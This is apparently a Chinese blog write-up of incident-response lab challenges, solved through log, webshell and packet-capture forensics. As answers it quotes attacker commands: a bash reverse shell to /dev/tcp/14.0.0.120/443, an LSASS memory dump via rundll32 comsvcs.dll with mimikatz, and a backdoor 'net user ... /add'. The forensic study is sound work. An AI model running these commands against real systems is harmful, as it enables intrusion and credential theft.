应急响应
最近有一个应急响应的靶场,玄机应急响应,所以也就去研究研究应急响应相关的知识。
第一章-应急响应
Linux日志分析
https://blog.csdn.net/qq_50765147/article/details/135878715 相关资料链接
首先就是进入题目,ssh连接后,我们可以尝试去读取一下Linux日志文件

任务一
第一个任务就是有多少IP在爆破主机ssh的root帐号,如果有多个使用”,”分割 小到大排序 例如flag{192.168.200.1,192.168.200.2}
第一个 Flag 的目标是查找爆破 SSH 服务 Root 账户的 IP,故这里我们需要分析 auth 日志,auth 日志常见于 Debian 系(这台靶机就是 Debian)

这里 auth 日志有两条,分别是auth.log和auth.log.1,我们的判断基础是这两个文件,其次这里我们需要判断出哪些爆破的是 Root 账号,所以需要搜索 “Failed password for root”
1 | 拓展: |
使用grep去进行查找
1 | cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password for root" |

使用awk进行ip提取
1 | | awk '{print $11}' |
使用sort排序,使用unip -c 进行去重,使用sort -nr进行降序排序
1 | cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password for root" | awk '{print $11}' | uniq -c | sort -nr |

成功获取
1 | 4 192.168.200.2 |
1 | flag{192.168.200.2,192.168.200.31,192.168.200.32} |
任务二
2.ssh爆破成功登陆的IP是多少,如果有多个使用”,”分割

这里成功找到登录成功会有Accepted出现,我们按上面做的那样即可
1 | cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Accepted" | awk '{print $11}' | uniq -c | sort -nr |
1 | 2 192.168.200.2 |
这里要注意的是,221开头的ip是我们本机登录的ip,所以应该剔除掉
1 | flag{192.168.200.2} |
任务三
3.爆破用户名字典是什么?如果有多个使用”,”分割
直接还是提取

1 | cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'| uniq -c | sort -nr |
这里就可以直接拿到字典了
1 | flag{user,hello,root,test3,test2,test1} |
这里涉及到一个perl语言
任务四
4.成功登录 root 用户的 ip 一共爆破了多少次
其实第一问的时候已经看到了的

直接出就行
1 | cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | awk '{if($11=="192.168.200.2") print $11}'|sort|uniq -c |
任务五
5.黑客登陆主机后新建了一个后门用户,用户名是多少

在这个地方注意,黑客添加了test2这个用户作为后门
这里有一点要注意,后边有个debian用户的创建,这个是我们ssh连接的用户,不是黑客创建的
webshell查杀
任务一
黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
直接用d盾或者火绒即可

直接就是找到是gz.php

1 | flag{027ccd04-5065-48b6-a32d-77c704a5e26d} |
任务二
黑客使用的什么工具的shell github地址的md5 flag{md5}
直接搜索

发现是哥斯拉
1 | flag{39392de3218c333f794befef07ac9257} |
任务三
黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
还是上面d盾也显示出来了
1 | flag{aebac0e58cd6c5fad1695ee4d1ac1919} |
任务四
4.黑客免杀马完整路径 md5 flag{md5}
还是一样的,之前都直接d盾扫出来了的
1 | flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de} |
最后这总结一下,D盾真是好好用!!!!!!!!!!!!!!!!!
这里记录一下一些常见的webshell查杀工具
1 | 1。阿里伏魔 |
Linux入侵排查
任务一
1 | 1.web目录存在木马,请找到木马的密码提交 |
直接就是丢d盾里去就是

1 | flag{1} |
任务二
1 | 服务器疑似存在不死马,请找到不死马的密码提交 |
直接就是.shell.php
1 | flag{hello} |
任务三
1 | 不死马是通过哪个文件生成的,请提交文件名 |

很明显就能找到
1 | flag{index.php} |
任务四
1 | 黑客留下了木马文件,请找出黑客的服务器ip提交 |
1 | flag{10.11.55.21} |
任务五
1 | 黑客留下了木马文件,请找出黑客服务器开启的监端口提交 |
1 | flag{3333} |
这里直接两个一起做就行,我们发现在网页目录下有个shell.elf木马文件,我们可以直接去运行它,然后再去查看netstat即可
1 | netstat -antlp |
1 | 命令详解: |


第二章-日志分析
apache日志分析
任务一
1 | 1、提交当天访问次数最多的IP,即黑客IP: |
1 | cat access.log access.log.1 | grep -a "03/Aug" | awk '{print $1}' | uniq -c | sort -nr |

直接找就行
1 | flag{192.168.200.2} |
任务二
1 | 黑客使用的浏览器指纹是什么,提交指纹的md5: |

发现浏览器指纹就是
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 |
1 | flag{2d6330f380f44ac20f3a02eed0958f66} |
任务三
1 | cat access.log access.log.1 | grep -a "/index.php" | awk '{print $1}' |uniq -c |
就是27次
1 | flag{27} |
任务四
1 | 查看黑客IP访问了多少次,提交次数: |
1 | cat access.log access.log.1 | grep -a "192.168.200.2 - -" |awk '{print $1}'|uniq -c |
直接抓ip就行
1 | flag{6555} |
任务五
1 | 查看2023年8月03日8时这一个小时内有多少IP访问,提交次数: |
1 | cat access.log access.log.1 | grep -a "03/Aug/2023:08:" |awk '{print $1}'|sort | uniq -c |

1 | flag{5} 5个ip |
mysql应急响应
任务一
1 | 1.黑客第一次写入的shell flag{关键字符串} |
直接就是d盾扫描即可

然后就找到了,在sh.php中

1 | flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b} |
任务二
1 | 2.黑客反弹shell的ip flag{ip} |
直接去查看mysql的日志去分析 /var/log/mysql/

1 | flag{192.168.100.13} |
任务三
1 | 3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx |
还是之前的mysql日志,我们发现有一个敏感文件1.sh
我们尝试去找一下

发现有两个,这一个就是反弹shell的
——到这里好像啥都没用
这里就应该去想一下我们应该是怎么攻击的,发现在 /var/www/html 目录下存在一个 common.php 文件,那么黑客应该是通过对网站进行目录探测的时候发现了此文件,恰好此文件还泄露了数据库的账号和密码,那么他的常规操作肯定是远程连接上了数据库后再从数据库作为切入点进行提权,mysql 的常见提权方式就是 UDF 提权
然后再根据UDF提权的特性
1 | UDF 提权肯定会在 /usr/lib/mysql/plugin/ 路径下留下攻击痕迹 |

成功知道路径
1 | /usr/lib/mysql/plugin/udf.so |
1 | flag{b1818bde4e310f3d23f1005185b973e7} |
任务四
1 | 4.黑客获取的权限 flag{whoami后的值} |
直接查看
1 | ps -aux |
1 | 命令详解: |

可以看到是mysql权限
1 | flag{mysql} |
redis应急响应
任务一
1 | 通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交; |
直接看日志,很容易就能发现一个ip多次出现
1 | 192.168.100.13出现次数较多明显是爆破 |
任务二
1 | 通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交; |

发现对应的恶意文件
1 | ./exp.so |
1 | flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b} |
任务三
1 | 通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交; |
1 | crontab -l 查看定时任务 |

直接就能发现flag
1 | flag{192.168.100.13} |
任务四
1 | 通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交 |
ssh账号登录需要写入ssh公钥,我们直接去root下的.ssh中查看一下是否有对应文件,发现是有的

直接去读取一下,就拿到了用户名,使用用户名去github上搜索一下,就能找到flag所需的后一半
1 | flag{xj-test-user-wow-you-find-flag} |

任务五
1 | 通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交; |
我们直接去查看一下
1 | cd /usr/bin |
然后我们发现ps命令被修改,直接去读取发现flag
1 | flag{c195i2923381905517d818e313792d196} |
第三章-权限维持
linux权限维持-隐藏
任务一
1 | 黑客隐藏的隐藏的文件 完整路径md5 |
在/tmp/.temp/文件夹下发现libprocesshider,libprocesshider是用于隐藏文件的项目
打开 /tmp/.temp/libprocesshider/processhider.c
成功找到隐藏的文件1.py

1 | /tmp/.temp/libprocesshider/1.py |
任务二
1 | 黑客隐藏的文件反弹shell的ip+端口 {ip:port} |
直接看1.py就行了

1 | flag{114.114.114.121:9999} |
任务三
1 | 黑客提权所用的命令 完整路径的md5 flag{md5} |
这里去联想linux提权,也就主要是两种提权,suid和su提权
对比而言,suid提权更可能点,我们尝试去试试
1 | find / -perm -u=s -type f 2>/dev/null |

发现能够使用的find
1 | /usr/bin/find |
任务四
1 | 黑客尝试注入恶意代码的工具完整路径md5 |
这里说实话有点不太理解,为什么就是opt目录下存在注入恶意代码的工具
cymothoa是后门工具
1 | /opt/.cymothoa-1-beta/cymothoa |
1 | flag{087c267368ece4fcf422ff733b51aed9} |
任务五
1 | 使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx} |
题目问1.py的启动命令的可执行程序是什么,那么就是Python3,ls /usr/bin/python3 -al 看下软连接
再使用which去查找一下python的位置
1 | /usr/bin/python3.4 |
1 | flag{/usr/bin/python3.4} |
第四章-windows实战
emlog
任务一
1 | 通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交; |
可以直接使用D盾去分析一下网站根目录首先就是

直接就是扫到后门

发现直接就是有默认密码
1 | flag{rebeyond} |
任务二
1 | 通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交; |
分析ip的话这里我们就可以去查看一下日志文件,因为这里的web服务器是Apache的

拿到ip
1 | flag{192.168.126.1} |
这里有一点要注意的是,就是查看日志时需要稍微修改一下后缀才能使用记事本打开
任务三
1 | 通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交; |
直接使用windows日志一键分析工具即可

直接找到对应的敏感用户
1 | flag{hacker138} |
1 | 2024-02-29 10:13:06 hacker138$ EC2AMAZ-2OBTHUT 10 User32 EC2AMAZ-2OBTHUT C:\Windows\System32\svchost.exe 36.60.53.171 0 4624 |
任务四
1 | 通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交; |
首先就是找到对应的敏感文件
我们可以去查看一下这个黑客用户下的文件
成功发现Kuang
运行后发现CPU直接爆,肯定就是一个挖矿病毒了,
使用pyinstxtractor进行反编译得到pyc文件
pyc在线解密

成功获得矿池
1 | flag{wakuang.zhigongshanfang.top} |
向日葵
任务一
1 | 通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123); |
好难,第一个就不会写了这个
wordpress
任务一
1 | 请提交攻击者攻击成功的第一时间,格式:flag{YY:MM:DD hh:mm:ss} |
直接就是看日志主要就是,这里是要看nginx的日志,不要被Apache服务给骗了,里面日志啥都没有

1 | flag{2023:04:29 22:45:23} |
任务二
1 | 请提交攻击者的浏览器版本 flag{Firgfox/2200} |
直接还是和上面一样的,这不 直接给了的
1 | Firefox/110.0 |
1 | flag{Firefox/110.0} |
任务三
1 | 请提交攻击者目录扫描所使用的工具名称 |
这日志中直接有的

1 | Fuzz Faster U Fool |
1 | flag{Fuzz Faster U Fool} |
任务四
1 | 找到攻击者写入的恶意后门文件,提交文件名(完整路径) |
这也还是这个日志中,后边可以直接发现利用了这个后门文件的

1 | .x.php |
1 | flag{C:\phpstudy_pro\WWW\.x.php} |
任务五
1 | 找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径) |
直接就是扫一下就行,就能发现

1 | flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php} |
任务六
1 | 请指出可疑进程采用的自动启动的方式,启动的脚本的名字 flag{1.exe} |

这里主要是注意看修改日期,就能很明显发现这两个文件
而且bat文件内容就是启动那个exe,就很明显就能感觉出来是黑客留下的
1 | flag{x.bat} |
黑页&&篡改
开放类题目
1 | 请启动 phpstudy 后访问 127.0.0.1 |

任务一
第一种就很简单的单纯添加html代码而已,删除即可

任务二

任务三


1.js

任务四

任务五


第五章-linux实战
Windows 实战-evtx 文件分析
任务一
1 | 1.将黑客成功登录系统所使用的IP地址作为Flag值提交; |
1 | flag{192.168.36.133} |
筛选安全日志4624,登录成功,找最早登录的

使用日志分析工具,筛选远程登录即可快速找到
任务二
1 | 2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交; |
1 | flag{Adnimistartro} |
主要就是找用户登录的日志即可
筛选安全日志4781,账户名称已更改

使用事件id能够更快的去分析

里面混了一个这不一样的
任务三
1 | 3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交; |
1 | SCHEMA |
筛选安全日志4663,尝试访问对象 检测未经授权访问文件和文件夹的行为

任务四
1 | 4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交; |
根据上述黑客攻击的时间段,为2020年10月8日 筛选应用程序日志记录时间为2020年10月8日,来事件源为MySQL

然后再搜索start找到最后一次启动mysql

flag{8820}
任务五
1 | 5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。xxxxxxxxxx 5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。 |
筛选系统日志1074,计算机开机、关机、重启的时间、原因、注释
计算机为WIN-B1B1T3K57G9
CTRL+F 搜索Administratro,找对成对的记录,2次重启,1次关机

也就是三对
1 | flag{3} |
linux实战-挖矿
任务一
1 | 黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1} |
直接就是查看日志即可,全都是黑客的ip
1 | /www/admin/websec_80/log/nginx_access_2023-12-22.log |
1 | flag{192.168.10.135} |
任务二
1 | 黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24} |
dedecms弱口令进入后台:http://43.192.51.123:8081/dede/login.php?gotopage=%2Fdede%2F
这里可以通过日志去看出来,密码可以爆破一下即可
1 | admin 12345678 |

在账号处发现黑客的用户
即可知道对应的时间
1 | flag{2023-12-22 19:08:34} |
任务三
1 | 黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass} |
直接就是将网站源码push下来使用d盾去扫描一下
直接就能有了


本地跑一下这一段即可
1 | string(20) "eval($_POST['cmd']);" |
1 | flag{404.php-cmd} |
任务四
1 | 黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd} |
直接使用history命令查看历史命令执行

发现是使用了suid提权find命令
1 | flag{/usr/bin/find} |
任务五
1 | 对黑客上传的挖矿病毒进行分析,获取隐藏的Flag |
挖矿病毒的话一般情况都是计划任务中定时执行,我们就去查看一下计划任务

发现下载了一个ldm估计就是挖矿程序了
查找一下

看到很明显的base64编码


解码成功获得flag
1 | flag{websec_True@888!} |
linux实战-挖矿 二
百度网盘附件,下的贼慢
linux实战-CMS01
任务一
1 | 通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交; |
直接就是查看最近的登录日志即可
1 | grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' |

即可得知黑客的ip是
1 | flag{192.168.20.1} |
任务二
1 | 通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交; |
我们首先就是可以去查看一下有哪些服务运行了
1 | netstat -anlupt |

发现mysql服务,这个时候我们就可以去寻找一下mysql的配置文件拿到账号密码

成功找到对应的账号密码
1 | /www/wwwroot/127.0.0.1/lib/config.inc.php |
1 | kaoshi 5Sx8mK5ieyLPb84m |
然后就可以去连接mysql数据库
去查询

发现id为1的为管理员
然后就是再去查询用户
1 | select * from x2_user |


成功拿到明文密码
1 | 这里推荐一个md5解密的网站,https://www.chamd5.org/ |
1 | Network@2020 |
1 | flag{Network@2020} |
任务三
1 | 通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload}); |
在root目录下发现了有数据包,我们就可以使用wireshark去分析一下
直接就是能够发现连接的URL

1 | flag{index.php?user-app-register} |
任务四
1 | 通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码 作为 FLAG 提交; |
直接就是追踪流,发现

解码一下,得到对应的代码

分析可以发现是
1 | @ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类 |
所以就是可以知道密码就是
1 | Network2020 |
1 | flag{Network2020} |
任务五
1 | 通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称 作为 FLAG 提交; |
就在流量分析界面很容易能够发现就是version2.php这个文件

1 | flag{version2.php} |
任务六
1 | 通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交; |
梳理一下前面的内容
攻击在/www/wwwroot/127.0.0.1/目录下创建了flag1 文件并写入flag,然后写入一个新的木马,再改名为version2.php
这里我们猜测就是上传木马后去getshell了,我们可以使用history查看一下命令执行

发信应该就是在mpnotify.php中
1 | cat /www/wwwroot/127.0.0.1/.api/alinotify.php |

成功拿到flag
1 | flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9} |
任务七
1 | 通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交; |
刚刚上面也是直接看到了的
1 | flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ} |
linux实战-黑链
任务一
1 | 找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx} |
直接将文件下载下来,使用文本搜索关键字“黑链”很快就能找到

1 | flag{header.php} |
任务二
1 | webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/} |
直接就是使用D盾去扫描一下即可

后门也就是
1 | \var\www\html\usr\themes\default\404.php |
1 | flag{/var/www/html/usr/themes/default/404.php} |
任务三
1 | 黑客注入黑链文件的 md5 md5sum file flag{md5} |
直接就是使用md5sum即可

1 | 10c18029294fdec7b6ddab76d9367c14 |
1 | flag{10c18029294fdec7b6ddab76d9367c14} |
任务四
1 | 攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/} |
这里的话我们就可以尝试去对数据包进行流量分析

发现这里去加载poc1.js

我们能够很容易发现是xss漏洞,查找一番发现是typecho的对应漏洞
Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog
这里我们也就知道了对应的路径了

1 | flag{/index.php/archives/1/} |
第六章 流量特征分析
蚁剑流量分析
任务一
1 | 1.木马的连接密码是多少 |
发现附件是一个流量包,我们直接使用Wireshark去分析即可
首先就是找连接密码,这个肯定就是http请求的相关
1 | http contains "200" |

直接就是能够发现是蚁剑的流量

1 | flag{1} |
任务二
1 | 2.黑客执行的第一个命令是什么 |

点击显示分组字节
然后使用base64解密即可

1 | flag{id} |
任务三
1 | 3.黑客读取了哪个文件的内容,提交文件绝对路径 |

第三个http请求包中即可
1 | flag{/etc/passwd} |
任务四
1 | 黑客上传了什么文件到服务器,提交文件名 |
第四个请求包

1 | flag{flag.txt} |
任务五
1 | 黑客上传的文件内容是什么 |
直接就还是第四个http包,跟踪一下http流即可

将数据包解码一下

猜测这一串就是数据

1 | flag{write_flag} |
任务六
1 | 黑客下载了哪个文件,提交文件绝对路径 |
最后一个http请求包中可以找到

1 | flag{/var/www/html/config.php} |
这道题完全就是http流量分析
常见攻击事件 tomcat
任务一
1 | 在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1} |
能够发现大量的SYN的包,nmap的扫描就是SYN,所以也就能够得到ip

1 | flag{14.0.0.120} |
任务二
1 | 找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写} |
直接就是信息收集的知识,我们直接查ip首先就是
1 | flag{guangzhou} |

任务三
1 | 哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222} |
直接就是过滤出来http的
随便追踪一个http流,就知道对应的端口了

1 | flag{8080} |
任务四
1 | 经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称} |
这里就可以通过去分析UA头即可

1 | flag{gobuster} |
任务五
1 | 攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123} |
一般登录请求都是采用post请求,我们就找post方法即可
很容易就能找到

发现权限验证,猜测应该是base64编码,我们解码一下

成功获得账号密码
1 | flag{admin-tomcat} |
任务六
1 | 攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt} |
还是就是在上面的post包里面,直接就是有的

1 | flag{JXQOZY.war} |
任务七
1 | 攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息 |
通过跟踪流9461能够发现一个反弹shell的权限维持

1 | flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'} |
小王公司收到的钓鱼邮件
任务一
1 | 下载数据包文件 hacker1.pacapng,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https); |
很容易就能够发现的这个,直接就是过滤出来http包就有了

1 | flag{tsdandassociates.co.sz/w0ks//?YO=1702920835} |
任务二
1 | 下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5}); |
直接就是在返回包中吧压缩包下载下来改下后缀

然后去计算一下md5值就行
1 | flag{F17DC5B1C30C512137E62993D1DF9B2F} |
任务三
1 | 下载数据包文件 hacker1.pacapng,分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https) |

很明显的就是能够看到有各种字符,感觉应该就是拼接
其中一段如下
1 | o457607380 = ''; |
1 | https://shakyastatuestrade.com/A6F/616231603 |
1 | flag{shakyastatuestrade.com} |
waf 上的截获的黑客攻击流量
任务一
1 | 黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx} |
这里就是可以直接过滤出来http的post请求,然后就去找登录的账号密码,由于前面的数据都是进行对应账号的寻找的,没什么用,所以我们从后边去开始找就行

1 | flag{admin!@#pass123} |
任务二
1 | 黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} |
说实话这个是真的不知道有啥启发式搜索去找到flag

找到一个flag,但发现是错误的

发现这个才是正确的
1 | flag{87b7cb79481f317bde90c116cf36084b} |
任务三
1 | 黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx} |
直接就是过滤搜索database即可

1 | flag{e667jUPvJjXHvEUv} |
蚂蚁爱上树
任务一
1 | 管理员Admin账号的密码是什么? |
直接就是打开流量包,因为要找的是账号密码,这个时候我们肯定首先就是想到的http的post请求包

我们发现在/onlineshop/product2.php这个路由中post传递了很多base64加密后的数据
我们就依次去分析即可

将所有的找出来解码得到
1 | C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql |
也能够很明显的发现账号密码
1 | cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user admin Password1 /add&echo [S]&cd&echo [E] |
1 | flag{Password1} |
任务二
1 | LSASS.exe的程序进程ID是多少? |
这个上面中也查到了的
1 | cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 |
1 | flag{852} |
任务三
1 | 用户WIN101的密码是什么? |
上面的解密,我们发现有个OnlineShopBackup.zip压缩包,我们将之导出首先就是
找到47MB的导出分组字节流product2.php 因为是蚁剑流量所以会有多余字节,删除即可。多余字节 e1c1709 加载mimiktz
1 | sekurlsa::minidump 1.dmp |

然后拿到NTLM值,直接尝试md5解密即可

1 | flag{admin#123} |
第七章 常见攻击事件分析
钓鱼邮件
任务一
1 | 请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag{11.22.33.44} |
通常情况下最后一个Received部分可能会显示真实发件ip地址

1 | flag{121.204.224.15} |
任务二
1 | 请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP,flag格式:flag{11.22.33.44} |
将base64加密的数据解密导出成zip文件,就能获得对应的恶意exe文件,这个时候就可以将这个恶意文件找一个在线沙箱丢进去监测一下

1 | flag{107.16.111.57} |
任务三
1 | 黑客在被控服务器上创建了webshell,请分析获取webshell的文件名,请使用完整文件格式,flag格式:flag{/var/www/html/shell.php} |
直接就是将对应的web目录丢进d盾中去进行检测即可
直接就是找到对应的后门文件
1 | flag{/var/www/html/admin/ebak/ReData.php} |
任务四
1 | flag4: 黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名,请使用完整文件路径,flag格式:flag{/opt/apache2/shell} |
发现就是还给了个tmp文件夹,我们就是直接去查看一下这个里面的内容

发现创建了socks,所以就是使用mysql去搭建对应的内网隧道
1 | flag{/var/tmp/proc/mysql} |
第八章 内存马分析
java01-nacos
任务一
1 | nacos 用户密码的密文值作为 flag 提交 flag{密文} |
首先就是根据题目要求我们去启动 /var/local/下的 autorun.sh即可正常启
然后就发现了在nacos中有对应的配置文件,这个时候我们就可以去看看有什么配置文件,发现mysql的配置文件,猜测里面可能会有密码
我们就直接去读取一下看看

发现密码
1 | flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu} |
任务二
1 | shiro 的key为多少 shiro 的 key 请记录下来 (请记录下来,会有用d) |
我们在nacos目录下还发现了一个nacos_config_ex…..zip的文件,我们可以下载到本地去查看一下

成功找到key
1 | flag{KduO0i+zUIMcNNJnsZwU9Q==} |
任务三
1 | 靶机内核版本为 flag{} |
直接上命令就行
1 | uname -r 或 uname -a |
1 | flag{5.4.0-164-generic} |
任务四
1 | 尝试应急分析,运行 get_flag 然后尝试 check_flag 通过后提交 <此题flag不正确无法ti'j> |

发现是错误的这个是
我们可以先查看一下/etc/passwd
发现存在两个uid为0的用户,猜测应该是黑客的账户,我们使用后userdel去删除用户
发现此用户正在运行一些服务,无法删除。
直接修改 /etc/passwd 文件进行删除

任务五
1 | 尝试修复 nacos 并且自行用 poc 测试是否成功 此题无flag |
https://cn-sec.com/archives/2811865.html 参考链接
java02-shiro
任务一
1 | 1.将 shiro 的 key 作为 flag 提交 |
也就是上一题的key即可
1 | flag{KduO0i+zUIMcNNJnsZwU9Q==} |
任务二
1 | 2.隐藏用户后删除,并将隐藏用户名作为 flag 提交 |

1 | flag{guest} |
任务三
1 | 3.分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}> |
这里我们可以通过注入内存马去连接,也可以通过创建一个ssh账户去登录,这里我选择创建一个ssh账户,反正主要目的就是将app.jar下载下来
发现其对应的路由是/exec
1 | flag{/exec} |
任务四
1 | 4.分析app.jar文件,将后门的密码作为 flag 提交 |
很明显能够发现密码是cmd
1 | flag{cmd} |
java03-fastjson
任务一
1 | fastjson版本作为 flag 提交 flag{x.x.66} |
直接就是打fastjson就是
但是发现对着poc打也打不通这个,寄
第九章
blueteam 的小心思
任务一
1 | 攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。 |
直接就是先找流量包
1 | find / -name "*.pcap" |
然后就是找登录的流量,这个就很简单了

1 | Aa12345^ |
1 | flag{d63edb0e9df4cf411398e3658c0237e0} |
任务二
1 | 攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。 |
我们直接就是流量里面搜索一下,直接就是找post数据包,很明显就能找到

1 | pluginmgr.php |
1 | flag{b05c0be368ffa72e6cb2df7e1e1b27be} |
任务三
1 | 找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。 |
找webshell了这个又是,这个时候我们直接上d盾即可

1 | md5sum cpg.php |
1 | flag{a097b773ced57bb7d51c6719fe8fe5f5} |
任务四
1 | 攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。 |
这里我们可以通过webshell的时间去查找可执行后门


1 | find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data |
1 | md5sum "/var/www/html/plugins/. /is.world" // 注意要加括号 |
1 | flag{ee279c39bf3dcb225093bdbafeb9a439} |
任务五
1 | 攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。 |

1 | flag{4cda3461543c9a770a3349760594facd} |
任务六
1 | 攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。 |

直接就是去找一下这些文件即可

1 | cat /etc/profile |
1 | flag{65bf3e4a9ac90d75ec28be0317775618} |
任务七
1 | 攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。 |
还是上面那个图我们找下就行
1 | cat /root/.bashrc |
1 | flag{4acc9c465eeeb139c194893ec0a8bcbc} |

任务八
1 | 攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。 |
直接去找到数据库的配置文件

